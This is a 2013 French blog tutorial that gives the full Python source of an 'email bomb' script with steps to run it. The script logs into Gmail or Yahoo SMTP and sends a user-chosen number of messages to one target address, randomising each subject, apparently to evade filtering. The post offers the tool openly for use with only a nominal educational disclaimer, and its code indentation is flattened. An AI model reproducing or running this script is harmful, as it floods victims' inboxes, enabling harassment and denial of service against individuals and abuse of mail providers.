EmaiL BomB - tuto-informatique.seb30.overblog.com
Overblog
Editer l'article Suivre ce blog Administration + Créer mon blog
tuto-informatique.seb30.overblog.com

tuto et astuce informatique,n'hesitez pas a faire un don pour le travail

EmaiL BomB

Publié le 25 Juin 2013 par SEB in backtrack

EmaiL BomB

aujourd'hui je vais vous montrer comment monter un email bomb sur bactrack en pyton


Si vous voulez le tester:

#!/usr/bin/python
#pybombmail.py by aBi71
#This code for education purpose only.
#Use it at your own risk !!!

import os
import smtplib
import getpass
import sys


server = raw_input ('Server Mail: ')
user = raw_input('Username: ')
passwd = getpass.getpass('Password: ')


to = raw_input('\nTo: ')
#subject = raw_input('Subject: ')
body = raw_input('Message: ')
total = input('Number of send: ')

if server == 'gmail':
smtp_server = 'smtp.gmail.com'
port = 587
elif server == 'yahoo':
smtp_server = 'smtp.mail.yahoo.com'
port = 25
else:
print 'Applies only to gmail and yahoo.'
sys.exit()

print ''

try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
if smtp_server == "smtp.gmail.com":
server.starttls()
server.login(user,passwd)
for i in range(1, total+1):
subject = os.urandom(9)
msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
server.sendmail(user,to,msg)
print "\rTotal emails sent: %i" % i
sys.stdout.flush()
server.quit()
print '\n Done !!!'
except KeyboardInterrupt:
print '[-] Canceled'
sys.exit()
except smtplib.SMTPAuthenticationError:
print '\n[!] The username or password you entered is incorrect.'
sys.exit()



Copier le script dans un fichier txt, enregistrer et renommer le "emailbomb.py"

Rendez le executable:

chmod +x emailbomb.py

Et on l'exécute:

python emailbomb.py

linux track

Commenter cet article